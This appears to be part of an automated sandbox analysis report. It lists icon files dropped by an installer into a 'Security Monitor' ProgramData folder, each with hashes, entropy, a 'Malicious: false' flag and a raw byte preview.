SSDEEP:	96:M6HyDOdzc8+Efv02qJgthMtLdhItbSCIYU2P8x4He:YDOd4QH02qJlZdhUzIY0e+
MD5:	9D963AAEF1A316841C2C34AE32CDEDB3
SHA1:	A73386D3ABE3824621B72143E0402BC1388CE700
SHA-256:	9DD59EBDBAA0D4CB4A4422D597DB6C7EEC60624F042A273AB1C75AD785168945
SHA-512:	81757CF518EFB4CCB90BFE35383D39D16F5C9210BBA8EE2E58F62A4961591F4244D78C6702B1AD022E9205C7177976B2E8EDC8E8FA5C4BCD2BB6F95F504140B2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................h-L/./d5.,R/....t........................................................................................................3M3.).C...5.../...1.(.;..I-.................................................................................................3&.$.;.....................!.,.#-.........("&..-^0.,b1. &......................................................................6t8.............................%c$....));$...(...!...'.".8.)='................................................................&/.0..............................l..!.......................&.2....@............................................................,p(...............0...7...1......i..):#..........................&.s............................................................I#...........8.).M./.U./.P.).?. f.."[&...:.&.J.'.G...5..........".q.......9...M...<........................................... ..._.y....$.,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-0DCNF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.992992998632407
Encrypted:	false
SSDEEP:	48:LxwRTmmd4FjFuwKqDBF2fA+O4dwvcYhEEXB7/T/B/cfGt:LxtmiFjKuP+O4dw0Wx7/7qOt
MD5:	BCF4E26316979B5DA494DBEA2C92B1CB
SHA1:	080339DB0B56E86428295596CED9EEBF416D050C
SHA-256:	A34A7DB975EB4367B54DC7BB5BC49A6B12F12501C3BEE21D9C9093717C193999
SHA-512:	D52B6394C34929C4758F7F5C3D805EDE1BED09C47F80B23E4EDA8A8A81D12763014B999F95E9FBDAE41A1C26548718B86C90C02BB0C8714B21078330B12D2B8F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................................................................h?!.h?..i@.jA.jA..jA..jA..jA..jA.jA.i@..h?.................................................................................h?...K...S...X..]...Z...S...M...K..\|E..uB..i@.................................................:.Jc:.J.:.J.:.J.:.J.:.J.:.J.:.J..i@..[..o..............z..j...M..oE..d>.............................................:.J.N.b.c.y.j.}.c.u.X.i.N.a.E.W.A.R..lC..g......................{...g.yoR..wU.wjK.ziG.,ju.,kv.fq.0t.................._...A.Q............y..i.y.c.t.n.a..uH..wM..u...............................j...........k.}.2..F...9 ...6...;...<..@@..IC.qK=.P.G.X..........{.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-25RT0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.398174204777635
Encrypted:	false
SSDEEP:	48:Jast2MOHFY/G3BwkW6YvzQNUWRQi+EKbp2uDd4pWRwf2aGAXV:hwMOCGCvzCUW946dfMI
MD5:	E86E5DECCF75CD251149376B2882272B
SHA1:	B84C1608F2E77A4BB78D1523A679F9C74256D227
SHA-256:	228AB3BBAEEA67B9B701E5F034C05E00B61739F4BB8B9256E8FA6E4AE40C74BF
SHA-512:	784EB5883876810C15637C541EB036E87F0964F8A4B39CB7303B3C84EF8FC59425F7528890114B3381EEF021E992CD485A97EB4C58C5B8F5389F3114D6816C63
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................224.02;.15E614E:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:15E903?/01...................................=...H...u.......z...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x.......{...U...%>..B...........................c..%...)...+...)...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(......*...'....u...&E......................B~.'...5...?..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A...@...9...+....b.......................z..;..$D..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...?...(....0F...............'....#E..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...:....Ed...............+.:..#E..#D..#D..#D..#D..#D..#D.."D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-2D77M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-4GP22.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.327550606417895
Encrypted:	false
SSDEEP:	48:7ok26VKvsyK8gww8d6IrU866xoQ6iekgM7F5F616mlunzNa:7hNqsyw8NxogekgS/01l2zQ
MD5:	B1B0BDF79925656C6612EB420EFDD0CB
SHA1:	67A7A212310C229BD3753F937FE769392719BA85
SHA-256:	02FDCF85764302068222786937E5769650543F7B19B06208B65CE325792E7282
SHA-512:	700EDB186443417B8B5C2FFF44AC0CA4F40492F08789A4C44818F8255E4C5082AB7388AFBEE9DBE86C3979D15FF92F6CF33ED787694470AF7B88B86BD180F01D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................................................................................................................................................................................................................................................................................................!...!........................................................................................................141.........! !.!$!Z...1...1...)...!............................................................................................RQR9....101.Z]Z.........)()s...J...9...)...!........................................................................................BEBZ............sqs.....! !....Z...J...9...).......................................................................................)141.),).............),)........s...R...B...1...!...........................................................................!...1...J..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-4OBL8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.636162501782274
Encrypted:	false
SSDEEP:	96:L9Ma1/Da+8+n63MJPD7wVGuTsJsr1sZbol4zQvH:ZN17a+8+jlmsJsxll
MD5:	0673E359F24B2E3E70DEF71FD99DCA08
SHA1:	9CCFDF61774455EFA4F203A295B7CD73970381F1
SHA-256:	9B2E88181222D914DF957836D7DDD48F1400CEF417C2AAF4705F399F07E4F872
SHA-512:	C6178BDBCCCE71F4F92FEF31E8D5FADA4098CD5A2CF9A9593EE5A9E81CC9B878820731EE32874EF912FE816050B7A7F3DC280A2381B2BF41DEC8332BDBC98F9C
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................[I.....F#...L<P................................................................................................^L..........\H..hQ.......t.................................................................................................nF9..........]I..oV..hQ.......w.........................j?6E.YKs.YJu.YJu.XJu.XJu.WIu.XIu.UGu.REu.SEu.REu.SDu.SDu.SDu.RCt.RBy.VF\.........aM..qY..oV..iR.......x......................iX..}h..j...j...j...i..~i..~h..}g..wd..vc..vb..vb..wb..wa..wa..w`..v_..v`......fQ..t[..qY..pX..jT.......z..........}......fV_.m..m..l..l..l..k..k...j..we..vd..vd..wd..wc..wb..wb..wb..wa..xb..\Ms.gS..v^..r[..rZ..qY..kU.......\|.................{h..o..n..n..n..m..m..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-5H5M1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.865260776041573
Encrypted:	false
SSDEEP:	96:KSAuCHoaNkcD71rTr/JXTL2oOJu2u/V8o52K:KJuCHHN/rTMoOJun/VJUK
MD5:	340BD449C16ECBF1A7BC30C7B3AED555
SHA1:	D4464A700F4A7C6CDA68BE19AE90B0526D980B33
SHA-256:	01F8E1E82FDA69928E9EDA19DE2D775F4194CB8ADC081753C426456BFE2619F6
SHA-512:	16807B0C2B16547397D717DDA738B69122F2C3DC6CF2DE988F8675D4F2E0B5C9592D350FF6F408F012FCB4B3822FDB5ED6CA887D311DDAED090193AFAF0826B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................3...@...-......@...&.......................................................................................................(+...[(..m7..D...G...a1..>......<.......................................................................................'...7...D...E3...L ..V7.f)..X....>".s5.. ..z...................................................................)...0...9...A...I...O...R...S...P..zB...n8&.c(..P...{9!.t1..4...................................................... ...E'......\...D...P...V...Y...Z...[...`...g...i!...E...v:+.T...L...p/".^...8...A..4........................................)..tI..........=...@...P...T...Y...c...j....&&0.<>J.div.....j<5.j(..C...M...Y...E...A...}..=................................=...Q...8......g...Q.......c...V...v((1.?@L.hny...............n\b.a"..O...;...H...t5..c+..L...z..$........................J..\|R...4...0.......).....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-8Q4PG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.904108079904619
Encrypted:	false
SSDEEP:	48:F+E7L9sciO2jASO/R9Zo6bVUZ0SS/UHL4/h3A4+Brwc2Ni:F+qcjZE7ZL6ZTS/Ur+398rwHw
MD5:	B4C726712268AACA5C8044B19D242C56
SHA1:	82295BE76E35F3B7A017C71DF4AFB7BCB13B8BD9
SHA-256:	67360906D5C412946E6621E6952DCC72E260B4BDA6B1097FB89D0968746B557A
SHA-512:	255E561C23605247FCA1BB3F071CE4E87DA9F580C93F9CB87980F2680C106FEF6B91E478953C667E55AC0B9C4891FB0D6389671AD5C1AEF0DD820ABC032A7F62
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...... .............................(...........................................................................................................*...............M...................................................................................................................U.......$...........................................................................................................................-............................................................................................................................................................................................v.v.1.1........................................................................................................................................................................................................................................................................J.J...........................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-8UNNB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-BN700.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.760005259103538
Encrypted:	false
SSDEEP:	48:9cPueb/98+LRtKVF/7x5qcUuD4oxp7SJU9Jhni4GZ9h2u0Kuq+j6vQuQ:efO8Yx42Jhni4GUuLuhmY/
MD5:	6EDC10A9110ACA8413A654526A2C9A08
SHA1:	74515C9BAEE2A5CA04CBF57A179F98FFA650B890
SHA-256:	E15B8D976729695D510F6CD60E047006F57D09DCF477A58F7D3CF09ED9A34AAA
SHA-512:	1E02B7F6028872398FA087B6BCA84E7F5B5D85BBB14BE1F05F576AAC4E531127A2B5919095C8479838F98CDCCBBE8274891A355857515F94061FF2B8D4D286B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-C9MB7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.943764396001677
Encrypted:	false
SSDEEP:	48:LvIxIlvIfcPp3sOHG3cj4D0oT9wgXXXXXXDpXXXXXXDBXXXXXX5vXXXXj9FLXo4O:LvIxIlvIEx3rHb4D0WpZYO2B
MD5:	0075259CD4B132A02EB69CA2D82B1021
SHA1:	D0F009D16495A8480891E0BB1F4D9EF7DFC96B18
SHA-256:	EF6FF1A4B4740C8BA8817D625895D36DDD386C051B798A210EA9B59F68BBAEB7
SHA-512:	2803475A5F0E2B277A022DA9122B6AF5BD1EA8F663C77F39FD2EF739729721A9ADA3B27DC50F8C37B959E45E9A78F8675BB6EDE9AFE77AFCF6DBB54B8D6D3A78
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................'...,...1...1...,...'...............................................................................................1...\.................................\...1...........................................................................6...........................................................6...........................................................(...m.................................................................m...(....................................................................................................................................................................................................sA..m9..................E...Q.................................................................(...........................b)..Z...Z...Z.......................<.................................(...........................m..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-EJLK2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5182
Entropy (8bit):	4.429830209492408
Encrypted:	false
SSDEEP:	48:Rd9W4lzzzzzYXFrNmoN03g+iIsaDBYFGmGW2PD51s2ARAAR/sAye8:dW4gnJLI7DBolGW2r51dARAARRye
MD5:	31B5594B3A3289FB258A4EFBAC38F230
SHA1:	E41016FBE49B5B9B292EFC5C252F73452E55B409
SHA-256:	3B0521E3291E2F330873A66864C3DAC163E8E5DA9D62518C4541B38A979DE7B8
SHA-512:	825F05B05B7A0182B8F87AFCF12BD4FA1B4CF9712D39FCF13058BE32C11091145432273B443F955BEAABB995573252BD7006103E03645107FF434C8EFCC90EA6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .(.......(... ...@..... ....................................................................................................................................................................?...................................................*......................................................................................v.../...................o.................................o.................................................................................................................................................................................................................................j.q.W.n.T.{.d..........................l.......................................=..........i.z.c...............^.>.A...A...A...A...A...A...A...A...T.4..................................................................B...B...B...K.&.B...B...B...B...B...B...B...B...B...B...B...B...`.A...........................................................B...B...B...B...B.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-I5U00.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.3625361404350915
Encrypted:	false
SSDEEP:	48:Og3bVNe49Z9LhdznJkyBVLBBHb31UOOrO2SB2NNg1F0U:53FLhBeyBlBB73134NNCWU
MD5:	E1286437AA2367AE05B567CA07F7AE38
SHA1:	A258C5400BBC5E28476805B4EBA278BA6D128432
SHA-256:	A886A335B7FC0A8EB88120FDF43E31AC349553D3DF1D3A911E3D2DF8A530BAAD
SHA-512:	E7477879F63A77A50B11D1CFFEC5ECF911A2906568FDFD1912031FAC0C2180834F5540F6EB190C43C0DA6CA52C51FF0C714C08F32C5ADF52C1FCA15EB2804595
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................X<.!~V.3.W.3Z=.!................................................................................................pM.!.n.{.u..z..~...~...~...~...{..u..o.}sO.%........................................................................\|U.#.t...~...........................................~...t..~W.'.............................................................m.k.~.........................................................~...n.o.....................................................u...........................................................................v..1!...........................................x...........................................~.......................................y.......................................u.u......................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-J0B7Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.128222585880228
Encrypted:	false
SSDEEP:	48:0UTeD1j0JtPPPPPPPPPPPPPPPPPPPPPPPPPPP0BU2LxHfNeQktOOh/L+1Ya2Xm5w:0UTeDrHkQeOOh/Lgf2Xm5PciHahGcymV
MD5:	FE64E1FF82E7BB3030287E3EC9A1CA1F
SHA1:	48B4134044934131BE1F0D78AE817B9D75142218
SHA-256:	2D57537EC385D3B1663ABE0A253446F10942B536B206DF511749302173F7EDD2
SHA-512:	C5DAFD99771D67DE444225E029BAC7D918434A7E1F8D46A50B9401867A720AD7409D95A644385B3924FAB0212936A32A8580BB4BF650BB7A214425C6B72ABBB7
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................9...C...;...<...<...<&..<..<,..<-..<-..<-..<-..<,..<..<&..<...<...;...A...:...........................................=...<...=(..=s..<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...=s..=(..=...=...........................=...>...>...=x..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=x..>...>...=...............>...?...?...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...........?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...@...?.......@...M...@x..@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@y..K...@...A...A(..A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A(..A...A...Bs..B...B...B...B...B...B...B...B...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-KACC0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.015933025401917
Encrypted:	false
SSDEEP:	48:jlLTFwirlRR25mD7NHgf/nrqQ6kcwpgHBWgOXKpAsDn5DnO9eXVP:ZLTFwirlRRymnN0/rqpkcwaDOXZsxqYZ
MD5:	B5DECCE572BF993C4F6CD6BD108DF2C3
SHA1:	21C33E841AF7DE3AF8868EAFF54EDB1492AEBEA4
SHA-256:	42A521BC3EF75526B3A1839DA875A949B369C6A00F2EAA43C8BECBB3E8279555
SHA-512:	EEE0D7F592836DFCEB0D50E2695DF6ACF336211E3C83C9DF8B49325BD03E2B3E5BD39DC8CAE3193A32D953CAA79543F8D356930CC6C6769A861EDA8F31E04D6A
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................F.>.C.;.C.<.C.<.C.;.B.<wC.=.............U.@.B.<UD.<\|C.<.C.<.B.<.D.=.C.<nG.@$....................................................U.U.B.=.B.;.B.;.B.;.B.;.B.;.B.<.B.=hB.<.C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.<.D.=mf.f.................................................C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.C.<.C.=P................................................B.;.B.;.B.;.B.;.B.;.B.;.B.;.T.N..........................O.H.B.;.B.;.B.;.B.;.C.;.............................................C.?AB.;.B.;.B.;.B.;.[.U........................................B.;.B.;.B.;.B.;.B.;.C.;.........................................C.;EB.;.B.;.B.;..............................................B.;.B.;.B.;.B.;.B.;.B.;.C.;.................................F.F.C.;.B.;.B.;..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-MEBT7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.07531325717377
Encrypted:	false
SSDEEP:	48:n2to4hDDD+l6ZtQE1mA/+PWLlClkKAUqjcVGTJUysHFa/IJu:2tthDDal6LL+PWQSB6sTqysHFaQJu
MD5:	D0D41AD531613F51005CFDD6E7AFC134
SHA1:	828A3A01B74603403798155326286743F5E4000C
SHA-256:	0E43F7B2B24A035112F9FACD840EF0856F68260BA890CA1EDD7FF7B4A1DD3036
SHA-512:	3471310FDE5E1341FD75B69C5271B15B385885E90A277E90F989D75638CCCA63E1E04BF4574E2610B24AC16BD0C04113EFC15E5B2A25EBC94191845BD03E8F44
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................RRR.VWW.}...ccd.ccd.~...dee.-...............................................................................................qrr.))).....................................................................................................................PRR.]__.'''.9;:.?CA.<>=.<?=.@CA.011....%uxx.............................................................................................wxw.........................NOO.................TTT.BBB.;;;.........................................JJJ.HHH.OOO=eee.TSS.ZYY+433.........`.y.E.e.F.f.Y.v.................bbb.[[Z....O.......................................................................2...........0...%...'...+...........2...4........XXX.....xxx.............................................................lll....F........1...7...8...............Y............ppp.....ccc.........................\\\.ttt.nnn.non.ddc.rrr...............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-MGKCG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.980115331909525
Encrypted:	false
SSDEEP:	48:zCCCPJgo7qkfGEEEEEEEEEE1vt9COYNybhh3cGcm:O1So7qkf8zyNw33P
MD5:	6447AACD6C19A9D3F0CDB2322620997A
SHA1:	DECED599496691BB5403D8CAA063227181400DED
SHA-256:	B5D3DDED1F4C3F75C033E19008119BC8E283DE10BBBCE39488854028C54511ED
SHA-512:	91942D1C960B176BCA722CB5AF08B38A0072B789EC9E8B75236662BD69418251FBC1A30A41FD1FE0264CA34934608989AD441E728972F1E389CDB3E30F9336FF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................................................................................................................................................../..?..?../............................o...................................................................................................................?.............................................................................................................?......................................o...........................................................................................................................................................................o........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-OFJQK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.099397362289201
Encrypted:	false
SSDEEP:	48:SB5/OEO7w9J5CJDojYDgyTAU8Nazp+1RmzzVzab20B+H7YBkLviAhJySdzMVn9f:UGniUvXAdNGtzzu8ALAmS0
MD5:	3236B7EE04864A464C4269EA6772C06B
SHA1:	C32DAC3F987C391FAEEFB48184431669F6C2D961
SHA-256:	641DB9FED269716510F749F98430FBB3563A0DDE013354CA2ECCC572E95EAF84
SHA-512:	F311E36B92F5905B15E9738FE431C287253A2DDD05D5EBA758DCCD7257884D3A7990DCB6A77401C25122EAC419F68F543ACDA12BB3AABA0C790155EE84544702
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................................................`.........................................................................................................................j.........`.....................................................................................................................Uw..k.........`.................................................................................................................Vw..Wx..w.........@...@...@...@...@.............................................................................................Vx..Wx..Xz..............................................@....................................................... .............Wy..Xy..Xz..X{........................................................ .......................................`.................Wy..Xz..X{..Y{..Z\|..d...Z~..[~..z.........................................P...............................`...............b...Wz..X

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-OMO2M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-PEDA6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.548751958766154
Encrypted:	false
SSDEEP:	48:I36IcaNTUkY37c3Yd/oB3cEYp2LctCWZhlt9b7Q01iEtcm:I39NART/EshwaCOLfQmdth
MD5:	3FF113ABAD7A9C6F2AE88B1680E5DE0E
SHA1:	840BDB6139021E1FE655C240324A64481BB999FF
SHA-256:	57EEA00C948FF2F8EE9604160F4143891E5F5792765961408CE99E68CAB04BB6
SHA-512:	52B899DA820C3E3195799300122346B1A461B5139C213CEB8DED89734CDAD45878BE7E2B2F21AB5F9301CDABE6E2628571C9BB62923E318947FB41C0F2D78BF0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................................................................................................................................................................................................................................................%...................................................................................................#...G...d...\|....962.:62.;73........]...6..."..."................................................................... .......5...n....gaZ..\|.......................g`Y....K...........................................................................R...vnhb............................................PKEV...................................................................T-+(......................................................................................................................F.+).....................r.~.`...N.bN.`N.X\..sm.v...............}..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-PH1G5.tmp

Download File

